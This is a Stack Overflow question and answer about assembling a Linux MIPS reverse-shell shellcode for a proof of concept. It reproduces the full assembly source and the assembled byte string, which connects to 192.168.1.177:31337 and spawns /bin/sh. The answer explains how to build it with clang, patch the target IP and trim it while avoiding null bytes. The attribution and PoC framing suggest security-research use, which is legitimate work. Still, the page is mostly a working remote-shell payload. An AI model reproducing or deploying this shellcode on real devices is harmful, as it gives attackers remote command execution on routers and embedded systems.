How can I assemble this MIPS shellcode?

0

I have some code from GitHub that I need to compile for a PoC. I need to change the IP address (which I can do), but I cannot actually do the compilation after. Any suggestions what compiler will work? Ideally if I assemble what's there I should get the same shellcode as the below.

The code is:

# MIPS Little Endian Reverse Shell ASM File and Assembled Shellcode
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: http://infosec42.blogspot.com
# Company Website: http://securityevaluators.com


    .data

    .bss

    .text

    .globl _start

_start:

    #Close stdin(0)
    slti $a0, $zero, 0xFFFF
    li $v0, 4006
    syscall 0x42424

    #Close stdout(1)
    slti $a0, $zero, 0x1111
    li $v0, 4006
    syscall 0x42424

    #Close stderr(2)
    li $t4, 0xFFFFFFFD #-3
    not $a0, $t4
    li $v0, 4006
    syscall 0x42424

    #Socket Domain - AF_INET (2)
    li $t4, 0xFFFFFFFD #-3
    not $a0, $t4
    #Socket Type - SOCK_STREAM (2 for mips)
    not $a1, $t4
    #Socket Protocol - 0
    slti $a2, $zero, 0xFFFF
    #Call socket
    li $v0, 4183
    syscall 0x42424

    #Move socket return value (v0) to register a0
    #V0 must be below 0xFFFF/65535
    andi $a0, $v0, 0xFFFF

    #Calling dup three times
    #Duplicate FD (stdin)
    #Socket returned fd 0 - stdin goes to socket
    #-----
    #Duplicate FD (stdout)
    li $v0, 4041
    syscall 0x42424
    #Duplicate FD (stderr)
    li $v0, 4041
    syscall 0x42424

    #Connect sockfd
    #Socket FD is already in a0
    #-----
    #Connect sockaddr
    lui $a1, 0x6979 #Port:
    ori $a1, 0xFF01 #31337
    addi $a1, $a1, 0x0101
    sw $a1, -8($sp)

    li $a1, 0xB101A8C0 #192.168.1.177
    sw $a1, -4($sp)
    addi $a1, $sp, -8

    #Connect addrlen - 16
    li $t4, 0xFFFFFFEF #-17
    not $a2, $t4
    #Call connect
    li $v0, 4170
    syscall 0x42424

    #Putting /bin/sh onto the stack
    lui $t0, 0x6962 #Loading Upper Immediate - ib
    ori $t0, $t0,0x2f2f #Bitwise OR Immediate - //
    sw $t0, -20($sp) #Store word pointer to command string for execution
    #
    lui $t0, 0x6873 #Loading Upper Immediate - hs
    ori $t0, 0x2f6e #Bitwise OR Immediate - /n
    sw $t0, -16($sp) #Store word pointer to command string for execution
    #
    slti $a3, $zero, 0xFFFF #Putting null (0) onto stack
    sw $a3, -12($sp)
    sw $a3, -4($sp)

    #execve *filename
    addi $a0, $sp, -20
    #execve *argv[]
    addi $t0, $sp, -20
    sw $t0, -8($sp)
    addi $a1, $sp, -8
    #
    addiu $sp, $sp, -20 #Adjusting stack  
    #
    #execve envp[] - 0
    slti $a2, $zero, 0xFFFF
    #Call execve
    li $v0, 4011
    syscall 0x42424

And the resulting shellcode string is:

# NOTE: Assembled shellcode

    #200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
    #Connects on 192.168.1.177:31337
    stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
    stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
assembly
mips
shellcode
mips32
asked on Stack Overflow Aug 11, 2019 by encoad • edited Aug 11, 2019 by Peter Cordes

1 Answer

2

After changing 0xFFFF to -1 for slti where clang errors on an out-of-range 16-bit signed immediate, it assembles just fine with clang -target mips -c mips-shellcode.s on my x86-64 Arch Linux desktop. (Clang / LLVM is normally built with back-ends for multiple ISAs enabled.)

Then hexdump the machine code and turn it into a string literal with "\x??" escapes using whatever method you normally use.

Or it might be easier to just look at the hexdump and see which bytes in the string are the IP address and change them in the string literal.


If this shellcode only needs to avoid 00 bytes, some of those slti $a0, $zero, -1 instructions aren't even necessary. You can just use $zero with sw directly instead of using slti to generate a zero in a register for a store.

   ### from llvm-objdump -d mips-shellcode.o
af a0 ff f4     sw      $zero, -12($sp)

But when you do need to put a 0 in a register (like $a0), add/addu, and and or with $zero all have a zero in the first byte, so that's a problem. You'd think you could get 2 just by adding 1 to itself or left-shifting, but those all have a 00 as the first byte of the instruction. (The first 6 bits are 0 from the opcode, and the low 2 bits of the top byte are 0 from the register number of the first source operand. So they'd be usable with $8 or higher as temporaries, but $a0..$a3 are regs $4..$7 and $v0..1 are $2..$1, and $zero is register $0. So basically any register other than the ones we need to use for the syscall ABI! Like any of $t0..9, $s0..7, $sp, $fp, and $ra.)

(This is why the shellcode can use not with $t4 as a source: nor $a0, $t4, $t4 is 01 80 30 27. BTW, changing that to $s4 would make it definitely safe to reuse after a syscall, without another li (aka addiu))

Besides, there's nothing wrong with using slti to put 0 or 1 in a register: it's 4 bytes just like any other MIPS instruction. subu $a0, $t9,$t9 would not be better, and has a false dependency on $t9 for performance.

However, Linux MIPS system calls don't destroy $a0..$a2 registers. (https://www.linux-mips.org/wiki/Syscall says the kernel may destroy the $t registers, and returns error / non-error in $a3). So some of the instructions in this can be removed, I think. (Since this shellcode says it's for Linux MIPS).

Also, Linux execve(2) allows you to pass argv and/or envp=NULL and treats that as equivalent to a pointer to a NULL pointer (i.e. empty array), instead of -EFAULT. This isn't portable to other OSes, but you're writing in asm for Linux specifically anyway, so if you're going to pass an empty argv or envp it's much easier to just pass 0 in regs instead of storing that.


MIPS32r2 ext (Bitfield extract) can copy or right-shift any register without any zeroes, and without the limitation of andi with 0xFFFF (which the example shellcode uses to copy from $v0 to $a0 with 16->32 bit zero extension.)

MIPS32r2 ins can sort of left-shift or copy any register. (Reading the low n bits and inserting at some position). But it's destructive, ins $dst, $src, pos, size reads from and inserts into $dst. You can't just insert into $zero and store the result in a different register. So ins $a0, $a0, 1, 1 would turn 1 into 3, not removing the low bit that was copied.

See the MIPS32r6 (ISA manual from mips.com) for instruction encodings: some of the newer ones use opcode top-6 bits = 011111. align might be useful in other cases as a shift, concatenating 2 regs and taking a 4-byte window from that.

answered on Stack Overflow Aug 11, 2019 by Peter Cordes • edited Aug 11, 2019 by Peter Cordes

User contributions licensed under CC BY-SA 3.0